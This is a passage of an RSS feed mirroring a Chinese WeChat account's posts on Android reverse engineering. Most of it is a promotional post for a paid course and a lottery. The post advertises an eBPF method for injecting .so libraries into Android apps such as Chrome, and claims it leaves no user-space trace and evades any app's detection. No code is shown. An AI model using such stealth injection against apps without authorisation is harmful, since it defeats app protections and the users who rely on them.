0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">Frida17.7.3发布说明：<a href="https://frida.re/news/2026/02/16/frida-17-7-3-released/" target="_blank">https://frida.re/news/2026/02/16/frida-17-7-3-released/</a></span></p></li><li style=""><p><span leaf="">Frida17.8.0发布说明：<a href="https://frida.re/news/2026/03/09/frida-17-8-0-released/" target="_blank">https://frida.re/news/2026/03/09/frida-17-8-0-released/</a></span></p></li><li style=""><p><span leaf="">Frida主仓库：<a href="https://github.com/frida/frida" target="_blank">https://github.com/frida/frida</a></span></p></li></ol><h2 data-line="287" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">附录：frida-strace执行时序图</span></h2><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001413" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=88a54dc6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT9fPrydsV9Xubq9TO5AmjuEZWdk1ggOnGLIVibHzlucNEqJnt4HicgTo6zeZsGEcpT1acOfXCkgKiawBKc9bqeoLV7Vqlco85TaxY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=85dafe69&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485065%26idx%3D1%26sn%3Db0cbe4e7838e498c0c0238409e6ccc4e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 14 Mar 2026 18:30:00 +0800</pubDate>
    </item>
    <item>
      <title>eBPF第6季加更eBPF注入so原理与实现！开学季！抽奖送手机、课程、知识星球</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485059&amp;idx=1&amp;sn=0f99ba957619f2f9a8bbb42b35964c3f</link>
      <description>eBPF第6季加更eBPF注入so原理与实现！开学季！抽奖送手机、课程、知识星球</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-03-02 11:33</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=cb2a2ca2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeT9MMIKGMRVC1icAABYpTEYbzHALnv0zn8CNjgMIbjwOIp8X1iaiaqITGR6t4dnGh5zpRzS9txpGqFDZFmPCpvhVefGibPR51icahLM8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>eBPF第6季加更eBPF注入so原理与实现！开学季！抽奖送手机、课程、知识星球</p>
  <p><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">抽奖活动二维码见文末。</span></span></p><p><span leaf="">我们的目标是探索研究最前沿的安全技术分享给大家。坚决不做网络南郭先生与拷贝猫！</span></p><p><span leaf="">全网首发通过eBPF技术向目标安卓程序注入so。没有ptrace，隐蔽稳定，是软件逆向分析的辅助利器。将会对eBPF第6季加更一集，讲解技术原理与实现方案，分析我是如何一步步测试查找Hook点，到最终稳定注入so的全过程。</span></p><p><span leaf="" data-remoteid="" data-asynid="" src="" data-src="" align="" alt="" border="" class="rich_pages wxw-img" data-ratio="" data-s="300,640" data-type="gif" data-w="" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" style="" title="" type="block" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="100001393" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="1" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="1" data-retry="">经过多次测试，稳定注入系统程序与第三方apk。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001394" data-ratio="0.48427672955974843" data-s="300,640" type="block" data-type="gif" data-w="1272" src="https://wechat2rss.xlab.app/img-proxy/?k=d92877d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FSq4BUsrXeTibWquvj6Vsyicv3KTtibhAHN9JX75UMtH5ggP9zibLibL8RFUP0IHqLqkTl4gdfjR9AK4vZxCrKLTIib8icx2KOJQibzSWuoVeEZOvgQg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><p><span leaf="">注入chrome：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001395" data-ratio="0.4842592592592593" data-s="300,640" type="block" data-type="gif" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cf043666&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FSq4BUsrXeT99iadF6TnHrBwcjvZicR4Fhr3DuXdod8QMBiaOr4icaiaZoMOL7uscEWnLibe3mbNdtqVjKXSuzQyqsaOuaBbVELcrvxmQWR9MFV0XU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><p><span leaf="">注入APatch:</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001396" data-ratio="0.4842592592592593" data-s="300,640" type="block" data-type="gif" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d316a7f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FSq4BUsrXeT8B6MAicAkPicasYsC3WNzAia246CibtvIWzrwwUT29gPvXyq2y5Qla5aeGIcsILCTV9pBIJR8DHDJOlQII9x0BhicfOQf53ro9yLCY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><p><span leaf="">这种注入手法用户态是没有痕迹的，因为eBPF目前不可检测，完美过任何App的检测是要考虑注入的目标。</span></p><p data-pm-slice="0 0 []"><span style=""><span leaf="">安卓软件开发与逆向分析</span><span style=""><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">目前第2阶段还有几小集脱壳没有发布，都</span></span><span leaf="">会在本月完结。下个月开更第3阶段，单独开更早鸟价<span textstyle="" style="font-weight: bold;">999</span>元，全阶段目前活动价<span textstyle="" style="font-weight: bold;">3299</span>元。</span></span></p><p data-pm-slice="0 0 []"><span style=""><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">安卓软件开发与逆向分析第3阶段开更时，会给全阶段的学员开放木鱼分析沙箱的内测名额，先从静态沙箱功能开放测试开始，接下来几个月会上陆续动态分析与内存分析、网络抓包与脱壳功能给大家</span><span textstyle="" style="color: rgb(255, 0, 0);">。</span></span></span></p><p data-pm-slice="0 0 []"><span style=""><span leaf="">沙箱能力见前几天发布的文章。</span></span></p><p data-pm-slice="0 0 []"><span style=""><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485019&amp;idx=1&amp;sn=70c07de1f8d3c5e9caeb468936a8e994&amp;scene=21#wechat_redirect" textvalue="木鱼分析沙箱新版本重磅内测来袭" data-itemshowtype="0" linktype="text" data-linktype="2">木鱼分析沙箱新版本重磅内测来袭</a></span></span></p><p data-pm-slice="0 0 []"><span style=""><span leaf="">课程全阶段上完整目录（第3与第4阶段目前是大纲，后期会优化调整）：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001398" data-ratio="2.4441934026208765" data-s="300,640" type="block" data-type="png" data-w="4426" src="https://wechat2rss.xlab.app/img-proxy/?k=651bab2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeTicVMaABrVBslCe8x2gMQwYewNe99KHPicictNA0iaQdYk0J3WpUGibsRJLn2ezRzIYqKHNwvG5u7F7fcveXLrbz3SsiaUS6bAaVORSg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []"><span style=""><span leaf="">第3阶段目前设计为8个大节，每个大节分为6到9个小节内容。第3阶段从逆向分析的角度来学习汇编语言、AI逆向、Frida分析、网络抓包、算法分析、指令模拟与设备风控几个知识点。目前第一个大节的汇编语言先上学习资料，开始预习，内容为我精心制作的</span><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">ARM64汇编语⾔开发指南</span></span><span leaf="">。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001399" data-ratio="0.55" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9ff91d7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT9YQ6icmuAKuMHibuiaeCoxIqdbt513HmWOibSpAVgJHibUbhZAaPk8FCn0p2Vwa9MDSHZbrTiah3foCpHthdwsMl7maTvwGXCcqdgS8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []"><span style=""><span leaf="">在学习完基础的汇编语言后，会讲解安卓漏洞的一些基础知道与Shellcode的开发调试。完事后陆续开始第2大节。</span></span></p><p data-pm-slice="0 0 []"><span style=""><span leaf="">以上就是接下来两个月的内容安排了。</span></span></p><p data-pm-slice="0 0 []"><span style=""><span leaf=""><span textstyle="" style="font-weight: bold;">接下来上一个开学季的购课活动：</span></span></span></p><p data-pm-slice="0 0 []"><span leaf="">2026/03/02-2026/03/15期间，</span></p><p data-pm-slice="0 0 []"><span leaf="">购买任何一门全套课程打9折。</span></p><p data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">购买任何二门全套课程打8.5折。</span></p><p><span leaf="">购买任何三门全套课程打8折。</span></p><p><span leaf="">购买任何四门全套课程打7.5折，送价值<span textstyle="" style="font-weight: bold;">2399</span>元的Orangepi6Plus16G开发板一套（开发板+外壳+WIFI+内迪TF卡），已经安装配置好系统，即插即用，可当作全套课程的学习环境。<span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">限一份，先到先得！</span></span></p><p data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">购买任何全套课程送<span textstyle="" style="font-weight: bold;">1499</span>元的隐私探针课一套与<span textstyle="" style="font-weight: bold;">99</span>元的知识星球一年。</span></p><p data-pm-slice="0 0 []"><span leaf="">购买课程联系微信：<span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">feicongcn</span></span></p><p data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">下面是活动开发板如图：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001400" data-ratio="1.6101321585903083" data-s="300,640" type="block" data-type="png" data-w="908" src="https://wechat2rss.xlab.app/img-proxy/?k=126b3792&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeTib9QzuXbOLrltA6xVKWkZyev0DXyoJ9D4yYnThnuCEqLSLPjh8EM88icxiaYyVlSdrsmLtk8T82SwcUx7tvxiccQ1NuicEJ18SK6WM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">知识星球会不定时发布技术资源、仓库、开源与安全工具，以及本人翻译制作的精美电子书！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001401" data-ratio="1.125925925925926" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3a79eba7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT8lV3Fpx9lOGDs9SeYDjZCEV0UNPbTOBK2Uo7ia6K9U4Ca9iczKS01ld1NUjqu8wZ8A5k0Iib8lNdYE6QEkyibnz1SvhVsEqFr3Cqs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001402" data-ratio="1.048148148148148" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=05c9e70e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeTic6C9JHOvSibR8861alxrBOyb8whZiaYBAGPbHCcNK52Xk2AlQdmWJ8nf4OfnqTjxQG2hY21IUUgmNZTXLUIJicpicDPwINJE85uwQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001403" data-ratio="1.35" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=86014b43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT8B8Q7VlRJKVYZVxQ5jB6U28Rjg0rLbTDiapvNZmUwMVZY8zDX7pXWw4OVMFdcGg08Ipc4TPeGTOhcwyc51yqSt8G0zicGowTdUo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">最后上抽奖活动环节。</span></p><p data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">先说参考规则：</span></p><p data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-weight: bold;">关注本公众号与点赞转发本条公众号文章，就这一个硬性要求不过份吧！</span></span></p><p data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">一等奖：安卓软件开发与逆向分析全阶段半价1650的资格，再送Pixel6手机一台</span></span></p><p data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">二等奖：价值999元安卓软件开发与逆向分析3阶段课程5份</span></span></p><p data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">三等奖：价值99元安卓软件安全与逆向分析知识星球一年共20份</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;color: rgb(255, 0, 0);font-weight: bold;">开奖时间为2026/03/05是11:05，中奖后第一时间联系feicongcn领取。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001407" data-ratio="1.421994884910486" data-s="300,640" type="block" data-type="png" data-w="782" src="https://wechat2rss.xlab.app/img-proxy/?k=0ed3fdb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeTibNzufasEI34AK9X2FmVYlN5EGfRkOkOO6xT3HnVQfvkGxbB6jao680a4GQnXFHbAB3X34cicR7Vlo2bBbj4QtMjAuAAB3eZv0Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><mp-common-miniprogram class="js_uneditable custom_select_card mp_miniprogram_iframe" data-pluginname="insertminiprogram" data-miniprogram-path="pages/transfer/lottery?lid=4T2REPR&amp;source_type=1&amp;pathType=100&amp;pathType=100" data-miniprogram-nickname="活动抽奖" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/xyvTzOfSjtTic2Ricuqt2InYnJnt17SbQpicdvyyXXRLNGOhynYPFzxRtdVRpicarMs6KZakhy9vjHFBUJTS7aQ2qg/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="活动抽奖" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/Sq4BUsrXeTib8DOibAAvJS8Wgia3HzKvxLqwwibX6ADPicau8S4BL3rL6nqMPs6EOiaY9N531ycD6BB6NiaMnXfOP1EBsZFZYRdy8J5A1ccRD9PRq8/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0" data-miniprogram-appid="wx4692f08fa6ad3bc2" data-miniprogram-applink="#小程序://活动抽奖/活动抽奖/kcbn4eBhtIXTsfn" data-miniprogram-imageurlback="http%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeTibNzufasEI34AK9X2FmVYlN5EGfRkOkOO6xT3HnVQfvkGxbB6jao680a4GQnXFHbAB3X34cicR7Vlo2bBbj4QtMjAuAAB3eZv0Y%2F0%3Fwx_fmt%3Dpng%26from%3Dappmsg" data-miniprogram-cropperinfo="%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A65%2C%22x2%22%3A180%2C%22y2%22%3A209%2C%22w%22%3A180%2C%22h%22%3A144%7D%7D"></mp-common-miniprogram></p><p><span leaf=""><a class="weapp_text_link js_weapp_entry" style="" data-unique-id="mm8marxy-7gsx1z" data-miniprogram-type="text" data-miniprogram-appid="wx4692f08fa6ad3bc2" data-miniprogram-path="pages/transfer/lottery?lid=4T2REPR&amp;source_type=1&amp;pathType=100&amp;pathType=100" data-miniprogram-nickname="活动抽奖" data-miniprogram-servicetype="0" data-miniprogram-applink="#小程序://活动抽奖/活动抽奖/kcbn4eBhtIXTsfn">活动抽奖</a></span></p><p><span leaf="">一等奖必须在拥有安卓软件开发与逆向分析全阶段课情况下才送手机。</span></p><p><span leaf="">已经购买了</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">安卓软件开发与逆向分析全阶段课程的朋友，如果抽中一等奖就是送Pixel6手机，半价资格可送人或转卖。购买过部分阶段的朋友，补1650的差价上全套课程与送手机。</span></p><div><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">已经购买了</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">安卓软件开发与逆向分析全阶段课</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">程的朋友，如果抽中二等奖或三等奖，资格可送人或转卖。</span></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">全部奖项中奖后一个星期内联系我兑奖，过期作废。</span></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">其它的情况想到再说，最终解释权归我本人所有。</span></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">关于解释权这事简单说一下，本公众号与粉丝能在一个网络空间建立链接是一种缘份，大家共同进步一起成长。</span></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]">人一多，难免出现预想不到的问题：比如弄多个号中半价找我要求免费给课、点赞评论排名不对说我玩不起的。活动是为了让大家愉悦我开心，不是让大家郁闷我烦心。所以网络空间相互保持理性与尊重，同路人才能一起前行！</span></p><p><span leaf="">以上！开学季祝所有的孩子们未来可期！</span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8fb2f31b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485059%26idx%3D1%26sn%3D0f99ba957619f2f9a8bbb42b35964c3f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 02 Mar 2026 11:33:00 +0800</pubDate>
    </item>
  </channel>
</rss>